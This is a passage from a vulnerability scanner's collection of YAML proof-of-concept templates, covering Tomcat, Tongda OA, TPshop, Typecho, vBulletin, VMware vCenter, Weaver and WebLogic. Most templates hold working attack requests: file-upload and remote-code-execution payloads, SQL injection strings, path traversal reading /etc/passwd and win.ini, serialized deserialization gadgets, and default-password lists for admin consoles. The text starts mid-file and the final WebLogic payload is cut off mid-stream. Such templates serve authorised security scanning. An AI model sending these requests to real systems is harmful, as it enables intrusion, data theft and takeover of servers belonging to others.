response.body.bcontains(b"schema_name") && response.body.bcontains(b"table_name") detail: author: jingling(https://github.com/shmilylty) links: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g ================================================ FILE: WebScan/pocs/tomcat-cve-2017-12615-rce.yml ================================================ name: poc-yaml-tomcat-cve-2017-12615-rce set: filename: randomLowercase(6) verifyStr: randomLowercase(12) commentStr: randomLowercase(12) rules: - method: PUT path: '/{{filename}}.jsp/' body: '{{verifyStr}} <%-- {{commentStr}} --%>' follow_redirects: false expression: | response.status == 201 - method: GET path: '/{{filename}}.jsp' follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr)) detail: author: j4ckzh0u(https://github.com/j4ckzh0u) links: - https://www.seebug.org/vuldb/ssvid-96562 - https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA ================================================ FILE: WebScan/pocs/tomcat-cve-2018-11759.yml ================================================ name: poc-yaml-tomcat-cve-2018-11759 rules: - method: GET path: /jkstatus; follow_redirects: false expression: | response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body) - method: GET path: /jkstatus;?cmd=dump follow_redirects: false expression: | response.status == 200 && "ServerRoot=*".bmatches(response.body) detail: author: loneyer links: - https://github.com/immunIT/CVE-2018-11759 ================================================ FILE: WebScan/pocs/tomcat-manager-weak.yml ================================================ name: poc-yaml-tomcat-manager-weak sets: username: - tomcat - admin - root - manager password: - tomcat - "" - admin - 123456 - root payload: - base64(username+":"+password) rules: - method: GET path: /manager/html follow_redirects: false expression: | response.status == 401 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager") - method: GET path: /manager/html headers: Authorization: Basic {{payload}} follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager") detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/tongda-insert-sql-inject.yml ================================================ name: tongda-insert-sql-inject rules: - method: POST path: /general/document/index.php/recv/register/insert body: | title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER= expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=") - method: POST path: /general/document/index.php/recv/register/insert body: | title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER= expression: response.status != 502 && response.status != 500 detail: author: zan8in description: | 通达OA v11.6 insert参数包含SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息 app="TDXK-通达OA" 发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞,返回500则不存在 links: - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html - https://blog.csdn.net/weixin_39779975/article/details/111091529 ================================================ FILE: WebScan/pocs/tongda-meeting-unauthorized-access.yml ================================================ name: poc-yaml-tongda-meeting-unauthorized-access rules: - method: GET path: >- /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle"))) detail: author: 清风明月(www.secbook.info) influence_version: ' < 通达OA 11.5' links: - https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA ================================================ FILE: WebScan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml ================================================ name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload set: filename: randomLowercase(8) r1: randomLowercase(8) payload: base64("file_put_contents('../../"+filename+".php','');") rboundary: md5(randomLowercase(8)) date: TDdate() rules: - method: POST path: /mobile/api/api.ali.php headers: Content-Type: multipart/form-data; boundary={{rboundary}} Accept-Encoding: gzip follow_redirects: false body: "\ --{{rboundary}}\r\n\ Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\ Content-Type: application/octet-stream\r\n\ \r\n\ {\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\ --{{rboundary}}--\r\n\ " expression: | response.status == 200 - method: GET path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}} expression: | response.status == 200 && response.body.bcontains(b'OK') - method: GET path: /{{filename}}.php expression: | response.status == 200 && response.body.bcontains(bytes(md5(r1))) detail: author: PeiQi0 influence_version: "<= 通达OA 11.9" links: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md tags: tongda,fileupload ================================================ FILE: WebScan/pocs/tongda-user-session-disclosure.yml ================================================ name: tongda-user-session-disclosure rules: - method: GET path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0 expression: response.body.bcontains(b'RELOGIN') && response.status == 200 detail: author: kzaopa(https://github.com/kzaopa) description: | 通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统 links: - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html - https://www.cnblogs.com/T0uch/p/14475551.html - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/ ================================================ FILE: WebScan/pocs/tongda-v2017-uploadfile.yml ================================================ name: tongda-v2017-uploadfile set: rand1: randomLowercase(12) fileContent: randomLowercase(12) rules: - method: POST path: /module/ueditor/php/action_upload.php?action=uploadfile headers: Content-Type: multipart/form-data; boundary=55719851240137822763221368724 body: | -----------------------------55719851240137822763221368724 Content-Disposition: form-data; name="CONFIG[fileFieldName]" ffff -----------------------------55719851240137822763221368724 Content-Disposition: form-data; name="CONFIG[fileMaxSize]" 1000000000 -----------------------------55719851240137822763221368724 Content-Disposition: form-data; name="CONFIG[filePathFormat]" tcmd -----------------------------55719851240137822763221368724 Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]" .txt -----------------------------55719851240137822763221368724 Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt" Content-Type: application/octet-stream {{fileContent}} -----------------------------55719851240137822763221368724 Content-Disposition: form-data; name="mufile" submit -----------------------------55719851240137822763221368724-- expression: | response.status == 200 - method: GET path: /{{rand1}}.txt expression: | response.status == 200 && response.body.bcontains(bytes(fileContent)) detail: author: zan8in description: | 通达OA v2017 action_upload.php 任意文件上传漏洞 通达OA v2017 action_upload.php 文件过滤不足且无需后台权限,导致任意文件上传漏洞 app="TDXK-通达OA" links: - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/tpshop-directory-traversal.yml ================================================ name: poc-yaml-tpshop-directory-traversal rules: - method: GET path: /index.php/Home/uploadify/fileList?type=.+&path=../ headers: Accept-Encoding: 'deflate' follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string("\"state\":\"SUCCESS\""))) && response.body.bcontains(bytes(string("total"))) detail: author: 清风明月(www.secbook.info) influence_version: 'TPshop' links: - https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA - http://www.tp-shop.cn exploit: - https://localhost/index.php/Home/uploadify/fileList?type=.+&path=../../ ================================================ FILE: WebScan/pocs/tpshop-sqli.yml ================================================ name: poc-yaml-tpshop-sqli set: r: randomInt(800000000, 1000000000) rules: - method: GET path: >- /mobile/index/index2/id/1) and (select 1 from (select count(*),concat(0x716b627671,(select md5({{r}})),0x716b627671,floor(rand(0)*2))x from information_schema.tables group by x)a)-- follow_redirects: true expression: | response.body.bcontains(bytes(md5(string(r)))) detail: author: hanxiansheng26(https://github.com/hanxiansheng26) Affected Version: "tpshop<3.0" links: - https://xz.aliyun.com/t/6635 ================================================ FILE: WebScan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml ================================================ name: poc-yaml-tvt-nvms-1000-file-read-cve-2019-20085 manual: true transport: http rules: - method: GET path: /Pages/login.htm expression: response.status == 200 && response.body.bcontains(b"NVMS-1000") - method: GET path: /../../../../../../../../../../../../windows/win.ini expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: fuzz7j(https://github.com/fuzz7j) links: - https://www.exploit-db.com/exploits/47774 ================================================ FILE: WebScan/pocs/typecho-rce.yml ================================================ name: poc-yaml-typecho-rce set: referer: request.url random_str: randomLowercase(4) payload: base64(urldecode("a%3A2%3A%7Bs%3A7%3A%22adapter%22%3BO%3A12%3A%22Typecho_Feed%22%3A2%3A%7Bs%3A19%3A%22%00Typecho_Feed%00_type%22%3Bs%3A8%3A%22ATOM+1.0%22%3Bs%3A20%3A%22%00Typecho_Feed%00_items%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A8%3A%22category%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7Ds%3A6%3A%22author%22%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7D%7D%7Ds%3A6%3A%22prefix%22%3Bs%3A8%3A%22typecho_%22%3B%7D")) rules: - method: POST path: /install.php?finish headers: Referer: '{{referer}}' body: >- __typecho_config={{payload}} follow_redirects: false expression: > response.status == 200 && response.body.bcontains(bytes(md5(random_str))) detail: author: last0monster(https://github.com/last0monster) effect_version: typecho < 1.1(17.10.24) links: - https://www.freebuf.com/vuls/155753.html - https://www.freebuf.com/vuls/152058.html ================================================ FILE: WebScan/pocs/ueditor-cnvd-2017-20077-file-upload.yml ================================================ name: poc-yaml-ueditor-cnvd-2017-20077-file-upload rules: - method: GET path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 headers: Accept-Encoding: 'deflate' follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源"))) detail: author: 清风明月(www.secbook.info) influence_version: 'UEditor v1.4.3.3' links: - https://zhuanlan.zhihu.com/p/85265552 - https://www.freebuf.com/vuls/181814.html exploit: >- http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8 ================================================ FILE: WebScan/pocs/uwsgi-cve-2018-7490.yml ================================================ name: poc-yaml-uwsgi-cve-2018-7490 rules: - method: GET path: /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: links: - https://github.com/vulhub/vulhub/tree/master/uwsgi/CVE-2018-7490 ================================================ FILE: WebScan/pocs/vbulletin-cve-2019-16759-bypass.yml ================================================ name: poc-yaml-vbulletin-cve-2019-16759-bypass set: f1: randomInt(800000000, 900000000) rules: - method: POST path: /ajax/render/widget_tabbedcontainer_tab_panel headers: Content-Type: application/x-www-form-urlencoded body: >- subWidgets[0][template]=widget_php&subWidgets[0][config][code]=var_dump(md5({{f1}})); follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(substr(md5(string(f1)), 0, 31))) && response.content_type.contains("application/json") detail: author: Loneyer links: - https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/ ================================================ FILE: WebScan/pocs/vbulletin-cve-2019-16759.yml ================================================ name: poc-yaml-vbulletin-cve-2019-16759 set: rand: randomInt(2000000000, 2100000000) rules: - method: POST path: / headers: Content-Type: application/x-www-form-urlencoded body: >- routestring=ajax/render/widget_php&widgetConfig%5bcode%5d=print(md5({{rand}}))%3bexit%3b follow_redirects: true expression: | response.body.bcontains(bytes(md5(string(rand)))) detail: author: JingLing(https://hackfun.org/) vbulletion_version: 5.0.0 - 5.5.4 links: - https://securityaffairs.co/wordpress/91689/hacking/unpatched-critical-0-day-vbulletin.html - https://xz.aliyun.com/t/6419 ================================================ FILE: WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml ================================================ name: poc-yaml-vmware-vcenter-arbitrary-file-read groups: win: - method: GET path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"org.postgresql.Driver") linux: - method: GET path: /eam/vib?id=/etc/passwd follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: MrP01ntSun(https://github.com/MrPointSun) links: - https://t.co/LfvbyBUhF5 ================================================ FILE: WebScan/pocs/vmware-vcenter-cve-2021-21985-rce.yml ================================================ name: poc-yaml-vmware-vcenter-cve-2021-21985-rce rules: - method: POST path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData headers: Content-Type: application/json body: | {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a expression: | response.status == 200 && response.body.bcontains(b"{\"result\":{\"") && response.headers["set-Cookie"].contains("VSPHERE-UI-JSESSIONID") - method: POST path: /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages headers: Content-Type: application/json body: | {"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIADihc1Okxc3arAEAAI8EAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT+MwFLxX4j+YIFWNRG0+biWJBOxlJVZC2z0gIQ6O+5qYdeysn9MUIf77unGBfoFUyCXOezMvM2M7yYFrJPNKaUyj0rl6xFjbthRrK3UxtbyC1ti/1NiCoSih4qyjRAc9Ep6OO5qjXOO35x3l7OTklN39uhl31KHU6LgWsMJGOQpzb4zgThqdvjb3ULMPlgXAsPugc5xEWfhhsqgQOUmjOo+IUBx9JI98xqniuqC31ghAvGqkmoB9JXVEYbwv2whn7JDbYqXlm0qiW6v42oyrBjKWS81yjmXCQmEnaig+bSeH99c/Lv9c3pO2NLyS5Czrn5KHh2wXK2EbahK2W3vSZbUVjMT1YKShP3XduLGzwKvfwPdJ5s3C0XOdU38wrBvEtAC3MnIQv2z72FN0brdEXzXTKViYfF2xxO8LE0YpWEA3Um2cVD6PhX96/Y7JPhiDT+ig2nFix6GxKrC2pgbrnoj21yON2pI7mPkESGcljY6eSRhHEdztEjzo/2uMuzCN8/sS1sckt1RJDei3bOlj8O6HPhqp/SVbMg964R3HMXmJ2GYqYYF+9R9QSwECFAAUAAAACAA4oXNTpMXN2qwBAACPBAAAEgAAAAAAAAAAAAAAtoEAAAAAb2ZmbGluZV9idW5kbGUueG1sUEsFBgAAAAABAAEAQAAAANwBAAAAAA==%23"]]} expression: | response.status == 200 - method: POST path: /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty headers: Content-Type: application/json body: | {"methodInput": ["output", null]} expression: | response.status == 200 && response.body.bcontains(b"{\"result\":") && !response.body.bcontains(b"null") detail: vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData" author: envone77 description: "vmware vCenter unauth RCE cve-2021-21985" links: - https://www.anquanke.com/post/id/243098 - https://github.com/alt3kx/CVE-2021-21985_PoC ================================================ FILE: WebScan/pocs/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml ================================================ name: poc-yaml-vmware-vcenter-unauthorized-rce-cve-2021-21972 rules: - method: GET path: /ui/vropspluginui/rest/services/uploadova follow_redirects: false expression: | response.status == 405 && response.body.bcontains(b"Method Not Allowed") - method: GET path: /ui/vropspluginui/rest/services/getstatus follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"States") && response.body.bcontains(b"Install Progress") detail: author: B1anda0(https://github.com/B1anda0) links: - https://swarm.ptsecurity.com/unauth-rce-vmware/ ================================================ FILE: WebScan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml ================================================ name: poc-yaml-vmware-vrealize-cve-2021-21975-ssrf rules: - method: POST path: /casa/nodes/thumbprints headers: Content-Type: application/json body: | ["127.0.0.1:443/ui/"] follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes("vRealize Operations Manager")) detail: author: Loneyer links: - https://www.vmware.com/security/advisories/VMSA-2021-0004.html ================================================ FILE: WebScan/pocs/weaver-E-Cology-getSqlData-sqli.yml ================================================ name: poc-yaml-weaver-E-Cology-getSqlData-sqli rules: - method: GET path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b'Microsoft SQL Server') detail: author: PeiQi0 links: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md tags: weaver,sqli ================================================ FILE: WebScan/pocs/weaver-ebridge-file-read.yml ================================================ name: poc-yaml-weaver-ebridge-file-read groups: linux: - method: GET path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") search: | \"id\"\:\"(?P.+?)\"\, - method: GET path: "/file/fileNoLogin/{{var}}" follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") search: | \"id\"\:\"(?P.+?)\"\, - method: GET path: /file/fileNoLogin/{{var}} follow_redirects: false expression: | response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) detail: author: mvhz81 info: e-bridge-file-read for Linux links: - https://mrxn.net/Infiltration/323.html ================================================ FILE: WebScan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml ================================================ name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell manual: true transport: http set: r1: randomLowercase(8) rules: - method: POST path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= headers: Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 body: |- --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test.php" Content-Type: image/jpeg {{r1}} --e64bdf16c554bbc109cecef6451c26a4-- expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php") - method: GET path: /images/logo/logo-eoffice.php follow_redirects: true expression: response.status == 200 && response.body.bcontains(bytes(r1)) detail: author: szd790056181 links: - http://www.ctfiot.com/13682.html ================================================ FILE: WebScan/pocs/weblogic-console-weak.yml ================================================ name: poc-yaml-weblogic-console-weak sets: username: - weblogic password: - weblogic - weblogic1 - welcome1 - Oracle@123 - weblogic123 payload: - UTF-8 rules: - method: HEAD path: /console/j_security_check follow_redirects: false expression: | response.status == 302 && response.headers['Set-Cookie'].contains("ADMINCONSOLESESSION") - method: POST path: /console/j_security_check follow_redirects: false headers: Content-type: application/x-www-form-urlencoded body: | j_username={{username}}&j_password={{password}}&j_character_encoding={{payload}} expression: | !response.body.bcontains(b"LoginForm.jsp") detail: author: shadown1ng(https://github.com/shadown1ng) ================================================ FILE: WebScan/pocs/weblogic-cve-2017-10271.yml ================================================ name: poc-yaml-weblogic-cve-2017-10271 set: reverse: newReverse() reverseURL: reverse.url groups: reverse: - method: POST path: /wls-wsat/CoordinatorPortType headers: Content-Type: text/xml body: >- {{reverseURL}} follow_redirects: true expression: > reverse.wait(5) echo: - method: POST path: /wls-wsat/CoordinatorPortType headers: Content-Type: text/xml body: >- 505053555551485749 follow_redirects: true expression: > response.body.bcontains(b"225773091") detail: vulnpath: "/wls-wsat/CoordinatorPortType" author: fnmsd(https://github.com/fnmsd) description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271" links: - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 - https://github.com/QAX-A-Team/WeblogicEnvironment - https://xz.aliyun.com/t/5299 ================================================ FILE: WebScan/pocs/weblogic-cve-2019-2725.yml ================================================ name: poc-yaml-weblogic-cve-2019-2725 groups: v12: - method: POST path: /wls-wsat/CoordinatorPortType headers: Content-Type: text/xml body: >- fffhelloorg.slf4j.ext.EventDataconnectionHandlertrue505053555551485749]]> follow_redirects: true expression: > response.body.bcontains(b"225773091") v10: - method: POST path: /wls-wsat/CoordinatorPortType headers: Content-Type: text/xml cmd: whoami body: |- oracle.toplink.internal.sessions.UnitOfWorkChangeSet -84 -19 0 5 115 114 0 23 106 97 118 97 46 117 116 105 108 46 76 105 110 107 101 100 72 97 115 104 83 101 116 -40 108 -41 90 -107 -35 42 30 2 0 0 120 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 83 101 116 -70 68 -123 -107 -106 -72 -73 52 3 0 0 120 112 119 12 0 0 0 16 63 64 0 0 0 0 0 2 115 114 0 58 99 111 109 46 115 117 110 46 111 114 103 46 97 112 97 99 104 101 46 120 97 108 97 110 46 105 110 116 101 114 110 97 108 46 120 115 108 116 99 46 116 114 97 120 46 84 101 109 112 108 97 116 101 115 73 109 112 108 9 87 79 -63 110 -84 -85 51 3 0 9 73 0 13 95 105 110 100 101 110 116 78 117 109 98 101 114 73 0 14 95 116 114 97 110 115 108 101 116 73 110 100 101 120 90 0 21 95 117 115 101 83 101 114 118 105 99 101 115 77 101 99 104 97 110 105 115 109 76 0 25 95 97 99 99 101 115 115 69 120 116 101 114 110 97 108 83 116 121 108 101 115 104 101 101 116 116 0 18 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 76 0 11 95 97 117 120 67 108 97 115 115 101 115 116 0 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 114 117 110 116 105 109 101 47 72 97 115 104 116 97 98 108 101 59 91 0 10 95 98 121 116 101 99 111 100 101 115 116 0 3 91 91 66 91 0 6 95 99 108 97 115 115 116 0 18 91 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 76 0 5 95 110 97 109 101 113 0 126 0 4 76 0 17 95 111 117 116 112 117 116 80 114 111 112 101 114 116 105 101 115 116 0 22 76 106 97 118 97 47 117 116 105 108 47 80 114 111 112 101 114 116 105 101 115 59 120 112 0 0 0 0 -1 -1 -1 -1 0 116 0 3 97 108 108 112 117 114 0 3 91 91 66 75 -3 25 21 103 103 -37 55 2 0 0 120 112 0 0 0 2 117 114 0 2 91 66 -84 -13 23 -8 6 8 84 -32 2 0 0 120 112 0 0 14 29 -54 -2 -70 -66 0 0 0 50 0 -70 10 0 3 0 34 7 0 -72 7 0 37 7 0 38 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 -83 32 -109 -13 -111 -35 -17 62 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 19 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 53 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 59 1 0 9 116 114 97 110 115 102 111 114 109 1 0 114 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 100 111 99 117 109 101 110 116 1 0 45 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 1 0 8 104 97 110 100 108 101 114 115 1 0 66 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 69 120 99 101 112 116 105 111 110 115 7 0 39 1 0 -90 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 105 116 101 114 97 116 111 114 1 0 53 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 1 0 7 104 97 110 100 108 101 114 1 0 65 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 40 1 0 51 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 64 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 114 117 110 116 105 109 101 47 65 98 115 116 114 97 99 116 84 114 97 110 115 108 101 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 57 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 84 114 97 110 115 108 101 116 69 120 99 101 112 116 105 111 110 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 1 0 8 60 99 108 105 110 105 116 62 1 0 16 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 7 0 42 1 0 13 99 117 114 114 101 110 116 84 104 114 101 97 100 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 59 12 0 44 0 45 10 0 43 0 46 1 0 27 119 101 98 108 111 103 105 99 47 119 111 114 107 47 69 120 101 99 117 116 101 84 104 114 101 97 100 7 0 48 1 0 14 103 101 116 67 117 114 114 101 110 116 87 111 114 107 1 0 29 40 41 76 119 101 98 108 111 103 105 99 47 119 111 114 107 47 87 111 114 107 65 100 97 112 116 101 114 59 12 0 50 0 51 10 0 49 0 52 1 0 44 119 101 98 108 111 103 105 99 47 115 101 114 118 108 101 116 47 105 110 116 101 114 110 97 108 47 83 101 114 118 108 101 116 82 101 113 117 101 115 116 73 109 112 108 7 0 54 1 0 3 99 109 100 8 0 56 1 0 9 103 101 116 72 101 97 100 101 114 1 0 38 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 